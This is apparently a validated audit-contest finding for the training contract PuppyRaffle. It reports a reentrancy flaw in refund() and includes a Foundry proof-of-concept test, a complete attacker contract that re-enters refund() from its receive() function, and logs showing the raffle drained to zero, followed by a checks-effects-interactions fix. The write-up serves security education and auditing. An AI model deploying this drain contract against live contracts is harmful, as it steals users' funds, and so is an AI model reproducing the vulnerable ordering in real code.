Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy in refund() method

Summary

There is a reentrancy vulnerability in the refund() method. By which player can drain the contract in single call.

Vulnerability Details

In refund() method entranceFee is sent first to the player and then their mapping is updated. This can be exploited with a reentrancy attack

payable(msg.sender).sendValue(entranceFee);
players[playerIndex] = address(0);

POC Test:

function testCanGetRefundWithReentrancy() public {
address[] memory players = new address[](4);
players[0] = playerOne;
players[1] = playerTwo;
players[2] = playerThree;
players[3] = playerFour;
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
PuppyRaffleReentrancy puppyRaffleReentrancy = new PuppyRaffleReentrancy(address(puppyRaffle));
console.log("Balance of raffle contract: ");
console.log(address(puppyRaffle).balance);
console.log("Balance of reEntrancy contract: ");
console.log(address(puppyRaffleReentrancy).balance);
puppyRaffleReentrancy.startAttack{value: entranceFee}();
console.log("Balance of raffle contract: ");
console.log(address(puppyRaffle).balance);
console.log("Balance of reEntrancy contract: ");
console.log(address(puppyRaffleReentrancy).balance);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import {PuppyRaffle} from "./PuppyRaffle.sol";
contract PuppyRaffleReentrancy {
PuppyRaffle public puppyRaffle;
uint public playerId;
constructor(address _puppyRaffle) {
puppyRaffle = PuppyRaffle(_puppyRaffle);
}
function setPlayerId(uint _playerId) external {
playerId = _playerId;
}
function startAttack() public payable {
address[] memory player = new address[](1);
player[0] = address(this);
puppyRaffle.enterRaffle{value: msg.value}(player);
playerId = puppyRaffle.getActivePlayerIndex(address(this));
puppyRaffle.refund(playerId);
}
receive() external payable {
if(address(puppyRaffle).balance > 0) {
puppyRaffle.refund(playerId);
}
}
}

Logs:

Balance of raffle contract:
4000000000000000000
Balance of reEntrancy contract:
0
Balance of raffle contract:
0
Balance of reEntrancy contract:
5000000000000000000

Impact

One user can drain the contract.

Recommendations

Use check, effect, execute pattern. Update the mapping first and then sent eth.

players[playerIndex] = address(0);
payable(msg.sender).sendValue(entranceFee);
Updates

Lead Judging Commences

Hamiltonite Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

reentrancy-in-refund

reentrancy in refund() function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!